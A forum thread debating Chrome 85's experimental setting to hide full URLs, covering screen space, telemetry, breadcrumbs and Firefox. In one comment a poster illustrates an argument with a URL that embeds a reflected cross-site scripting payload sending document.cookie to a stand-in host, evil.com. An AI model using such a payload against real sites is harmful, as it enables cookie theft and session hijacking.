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Google adds experimental setting to hide full URLs in Chrome 85 address bar

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Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#601

Earlier quoted context omitted.

> A shorter URL bar in the desktop allows for to take up less horizontal space, which leaves more room for chrome extensions. Are you seriously claiming you need all (or even just more than like 10%) of your 1920+ pixels of screen width for your Chrome extensions?

I have a lot of chrome extensions, yes.

To the point where screen space is becoming tight? You are probably something like 0.001% of users.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#602
post #550

Earlier quoted context omitted.

To improve browser experience all you have to do is use a computer that doesn't suck. The fact that your primary browser is on a tiny phone display is a problem with phones, not with browsers. Browser for phones can evolve to match the disabled nature of their device's but lets hope such gimpings don't filter back into actual desktop computers.

"Spend more money on your computer" is a fine solution for a bay area software engineer. It's not a solution at all for the half of America that would have to sell their car to cover a $400 ER visit.

Desktop computers are available waaay cheaper than phones.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#604
post #223

Earlier quoted context omitted.

That's probably because most advanced users turn off all telemetry when possible. And http://localhost is probably ignored in statistics anyway.

I mostly leave telemetry on in products I care about specifically so that my advanced use cases get logged.

I do this as well. As an end-user, I actually find some telemetry useful to diagnose things like:

* Apple Watch battery cycle count (not viewable in any UI but is viewable in telemetry logs)

* Clues about why a particular app recently crashed

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#605

Earlier quoted context omitted.

I really dislike any attempt to modify strings like this. I find it invariably causes problems in edge cases. What if a site handles slashes differently to how Google expects? Where do GET arguments go? What if I want to modify the URL? Breadcrumbs are great when each part is navigable, but does example.com/worldnews/2020/06 actually lead anywhere, or is it an invalid address for the site? I have absolutely no intere…

> I really dislike any attempt to modify strings like this. I find it invariably causes problems in edge cases. What if a site handles slashes differently to how Google expects? I think it would have to be some standard format that websites use, not just string manipulation in the browsers. And certainly not some Google dictated feature! For the same reason, each part would have to be navigable on these sites, to wor…

If you're talking about something other than manipulating the URL, I don't understand what problem you're solving. Sites which believe that breadcrumbs would be helpful for navigation already have breadcrumbs, I see no reason to force it on everyone else.

But I disagree with you that not showing the full address in Windows Explorer is a separate issue. In my experience loss of edge-case functionality is a core aspect of changing interfaces. Maybe in another world the address would be preserved, and my use case would still work. But someone else's unusual use would not.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#606
post #487

Earlier quoted context omitted.

A better comparison would be mybank.com/logmein vs mybank.com/login vs mybank.com/l.jx?s=AU8NE6FX5IKMD2 And no, users do not need to care the slightest whether they go to the first, second or 3rd URL. What they care about is that they are entering their sensitive information on mybank.com's domain and not a russian counterpart, that's it.

How about mybank.com/login?reflect=%3Cscript%3Enew%20Image().src=%22 http://evil.com%22%20+%20document.cookie%3C/script%3E

That URL is utterly indecipherable by 99.99% of Internet users, so displaying it in full does absolutely nothing to protect users.

The onus to protect against a website takeover is on the domain/server owner, certainly not on the browser vendor although they try to mitigate simple attack vectors.

edit: added a few 9s

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#607
post #560

Earlier quoted context omitted.

But from a UI standpoint, having a text box that is too small for its common displayed content is sloppy. If the path usually makes things too long, hide the path by default until the user asks for it.

It's only too small when it's too small. https://old.reddit.com/r/space/ Fits fine and tells you at least three useful things that just "reddit.com" doesn't. https://old.reddit.com/r/space/comments/h8t50n/i_often_get_a... Doesn't fit, but even truncated it still tells you the same useful things.

But that's useful information that's told me redundantly by the page title and the banner at the top of the page also. I don't need the URL bar for that.

In fact, using the URL bar for it assumes that the path has semantic meaning, which is not an assumption that the URL standard actually requires.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#608

Earlier quoted context omitted.

Bad analogy. AMP is a Google content proxying technology, and Google isn't generally understood to be a "sketchy site." Users with the level of paranoia that puts Google in the "untrusted site" space should be sidestepping this whole conversation by avoiding using the browser Google develops regardless of what Google does to its URL bar.

Google is "sketchy" for any non-American who wishes not to be subject to the whims of American law and espionage.

Wouldn't Mozilla also fit that description?

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#609
This feels like a good time to celebrate how I uninstalled Chromium from the last device I was using it on last week. 100% Firefox now!

DuckDuckGo gets about 75% of my searches nowadays with the rest going to Google. Still using Maps, GSuite and Android... Baby steps!

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#610
post #437

Earlier quoted context omitted.

For what it's worth I don't experience slow loading with Firefox on Windows, or any notable slowdown in any way.

I definitely do. FF being perceivably slower than Chrome continues to keep me off it.

I only notice this on certain Google sites.
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